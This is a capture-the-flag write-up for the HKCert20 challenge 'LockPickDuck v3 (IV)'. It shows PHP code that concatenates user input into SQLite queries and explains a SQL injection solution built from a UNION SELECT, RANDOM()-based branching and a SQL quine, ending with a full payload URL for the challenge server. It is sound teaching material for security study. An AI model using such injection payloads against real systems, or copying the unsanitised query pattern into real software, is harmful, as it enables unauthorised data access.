Try   HackMD

HKCert20 CTF : LockPickDuck v3 (IV)

(500 pts, 1 solve)
Solver: T0022 - HKUST Member 2

This challenge has part (I), (II), (III) and (IV). This is the writeup of (IV). For part (I), (II) and (III), please click here.

http://tertiary.pwnable.hk:50011

<?php class SQZero3 extends SQLite3 { private $user; private $pass; function __construct($user, $pass) { $this->open(":memory:"); $this->exec("CREATE TABLE users (user text, pass text, hash text)"); $this->user = $user; $this->pass = $pass; } function checkHash(){ return @($this->querySingle("SELECT hash FROM users WHERE user='{$this->user}' AND pass='{$this->pass}'") == md5($this->pass)); } function checkUser(){ return @($this->querySingle("SELECT user FROM users WHERE user='{$this->user}' AND pass='{$this->pass}'") == $this->user); } function checkPass(){ return @($this->querySingle("SELECT pass FROM users WHERE user='{$this->user}'") == $this->pass); } function checkMate(){ return @($this->querySingle("SELECT hash FROM users WHERE user='{$this->user}' AND pass='{$this->pass}'") === md5($this->pass)) && @($this->querySingle("SELECT user FROM users WHERE user='{$this->user}' AND pass='{$this->pass}'") === $this->user) && @($this->querySingle("SELECT pass FROM users WHERE user='{$this->user}'") === $this->pass); } } if (isset($_GET["user"]) && isset($_GET["pass"])) { require("flag.php"); $sq = new SQZero3($_GET["user"], $_GET["pass"]); if ($sq->checkHash()) { echo "<p>Flag 1: $flag1</p>"; if ($sq->checkUser()) { echo "<p>Flag 2: $flag2</p>"; if ($sq->checkPass()) { echo "<p>Flag 3: $flag3</p>"; } } } else { echo "No Flag"; } if ($sq->checkMate()) { echo "<p>Flag 4: $flag4</p>"; } } else { highlight_file(__FILE__); } ?>

Okay. So we are going to get Flag 4. Let's analyze the php code first.

Analyze the PHP

As we can see, the website use GET to get the field user and pass. If the both fieids are set, it will first create a BLANK SQLite table. Then it will do a single query from that black table, to see if the query return value equals a specfic value. A worth note point is that the table is a blank table. How could it return value other than NULL? So we know that this is a SQL Injection challenge (Reference: CTF Wiki). Let's see at what situation we can get Flag 4!

SELECT hash FROM users WHERE user='{$user}' AND pass='{$pass}' === md5($pass) &&
SELECT user FROM users WHERE user='{$user}' AND pass='{$pass}' === $user &&
SELECT pass FROM users WHERE user='{$user}' === $pass

If we could satisfy this statement, then we could get Flag 4!

What to return?

Well. From the above, we could see that we have 2 types of query.

1. SELECT something FROM users WHERE user='{$user}' AND pass='{$pass}' - (1)
2. SELECT something FROM users WHERE user='{$user}' - (2)

At first, what I think is that it is possible to have 2 different return value with these 2 queries due to the existence of $pass. As the PHP function is querySingle(), it will just return the first column of the first row as the result. We can let $pass be some statement like ORDER BY, so that the query without $pass will have different value at the first row when compared with the one that has $pass. We now can have 2 different return values. However, we met a problem here.

In order to get Flag 4, we need to also make (1) === md5($pass) and (1) === $user, which means we need md5($pass) === $user. This implies that the $user field can't be used as SQL Injection commands. But wait, we could only use $user to do injection in (2)!

Therefore, the only solution is to make md5($pass) != $user and this means we have to make one single statement to have different return value when executed! How could this even be achieved?

It's time to gamble!

What is the way to have different output with same statement? We can do this by random()! One of the possible query syntax to have different output will be like this:

SELECT CASE WHEN abs(RANDOM() % 2) = 1 THEN 'one' ELSE 'zero' END

This query will output one or zero with each 50% chance when executed! We can then change this a bit and do the following too:

SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN 'two' ELSE CASE WHEN abs(RANDOM() % 2) = 1
THEN 'one' ELSE 'zero' END END

This query allows us to have 3 different output with each 33% chance when executed! This is the query that we want as it can generate 3 different output which can be respectively md5($pass), $pass and $userin this challenge.

So, let's set $pass = a. We also try to find the value of md5(a) which we know the value will be 0cc175b9c0f1b6a831c399e269772661. Therefore, by substituting these 2 values in the above SQL command, it becomes like this:

SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN 'a' ELSE CASE WHEN abs(RANDOM() % 2) = 1
THEN '0cc175b9c0f1b6a831c399e269772661' ELSE 'zero' END END

This query can now return $pass and md5($pass). While the 'zero' in the above command need to be replaced by $user, which $user will somehow be the above SQL command. Here's another tricky part, we need a SQL command returns itself. How?

Quine main by don by main quine

This subheader is a hint of this challenge. What does this mean? It means quine! What is a quine? From Wikipedia, a quine is a computer program which takes no input and produces a copy of its own source code as its only output. While for SQL, it means that the SQL query output will return it's query command.

Here's one of the example:

SELECT REPLACE(REPLACE('SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine',CHAR(34),CHAR(39)),CHAR(36),'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine') AS Quine

If you run this query, it will output itself! This is exactly what we want.


So now let's see what should our $user should be.

$user: ' UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN 'a' ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN '0cc175b9c0f1b6a831c399e269772661' ELSE $$ END END --

Where $$ should be $user, returning the $user itself.


By finding some SQL quine generator, here is a python function for us the generate quine.

def quine(data):
    data = data.replace('$$', "REPLACE(REPLACE($$,CHAR(34),CHAR(39)),CHAR(36),$$)")
    blob = data.replace('$$', '"$"').replace("'", '"')
    data = data.replace('$$', "'" + blob + "'")
    print(data)

Therefore, executing quine("' UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN 'a' ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN '0cc175b9c0f1b6a831c399e269772661' ELSE $$ END END -- ") gives us the following SQL quine.

' UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN 'a' ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN '0cc175b9c0f1b6a831c399e269772661' ELSE REPLACE(REPLACE('" UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN "a" ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN "0cc175b9c0f1b6a831c399e269772661" ELSE REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") END END -- ',CHAR(34),CHAR(39)),CHAR(36),'" UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN "a" ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN "0cc175b9c0f1b6a831c399e269772661" ELSE REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") END END -- ') END END -- 

This would be our final $user, which is a SQL Injection command which can return $pass, md5($pass) and the most important - the $user itself, in each 33% chance.

Final Luck

Therefore, this would be the $user and $pass:

$user: ' UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN 'a' ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN '0cc175b9c0f1b6a831c399e269772661' ELSE REPLACE(REPLACE('" UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN "a" ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN "0cc175b9c0f1b6a831c399e269772661" ELSE REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") END END -- ',CHAR(34),CHAR(39)),CHAR(36),'" UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN "a" ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN "0cc175b9c0f1b6a831c399e269772661" ELSE REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") END END -- ') END END --

$pass: a

Where the final query on the server will be:

SELECT something FROM users WHERE user='' UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN 'a' ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN '0cc175b9c0f1b6a831c399e269772661' ELSE REPLACE(REPLACE('" UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN "a" ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN "0cc175b9c0f1b6a831c399e269772661" ELSE REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") END END -- ',CHAR(34),CHAR(39)),CHAR(36),'" UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN "a" ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN "0cc175b9c0f1b6a831c399e269772661" ELSE REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") END END -- ') END END -- ' AND pass='a'

Payload URL: http://tertiary.pwnable.hk:50011/?user=' UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN 'a' ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN '0cc175b9c0f1b6a831c399e269772661' ELSE REPLACE(REPLACE('" UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN "a" ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN "0cc175b9c0f1b6a831c399e269772661" ELSE REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") END END -- ',CHAR(34),CHAR(39)),CHAR(36),'" UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN "a" ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN "0cc175b9c0f1b6a831c399e269772661" ELSE REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") END END -- ') END END -- &pass=a

The final thing we have to do is to press the F5 on the key many times (like when you reg courses or buy live tickets). As each time the command just has a 1/3 chance of returning the value that we want, which means we have 1/27 chance for Flag 4 to appear. So it's time to test our luck! And it's possible for you to never get the flag if you're unlucky.

That's all. See you next time.


P.S. When you are bored and want to test your luck:

tags: CTF, HKCert20